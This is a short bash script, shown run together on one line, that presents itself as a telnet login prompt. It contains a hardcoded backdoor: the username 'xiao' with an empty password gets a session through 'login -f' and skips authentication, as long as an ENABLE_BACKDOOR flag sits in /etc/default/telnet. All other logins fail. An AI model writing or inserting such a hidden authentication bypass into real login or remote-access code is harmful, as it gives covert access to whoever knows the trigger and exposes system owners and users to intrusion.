#!/bin/bash printf "Username: \r\n" read -r username username=$(echo "$username" | tr -d '\r\n' | tr -s ' ') if [[ -z "$username" ]]; then printf "invalid username\r\n" sleep 1 exit 1 fi printf "Password: \r\n" read -s -r password password=$(echo "$password" | tr -d '\r\n') if [[ "$username" == "xiao" ]] && [[ -z "$password" ]]; then if grep -q "ENABLE_BACKDOOR" /etc/default/telnet 2>/dev/null; then printf "login successful\r\n" exec /bin/login -f xiao exit 0 else printf "backdoor disabled\r\n" sleep 1 exit 1 fi fi if [[ "$username" == "xiao" ]] && [[ -n "$password" ]]; then printf "invalid password\r\n" sleep 1 exit 1 fi printf "login failed\r\n" sleep 1 exit 1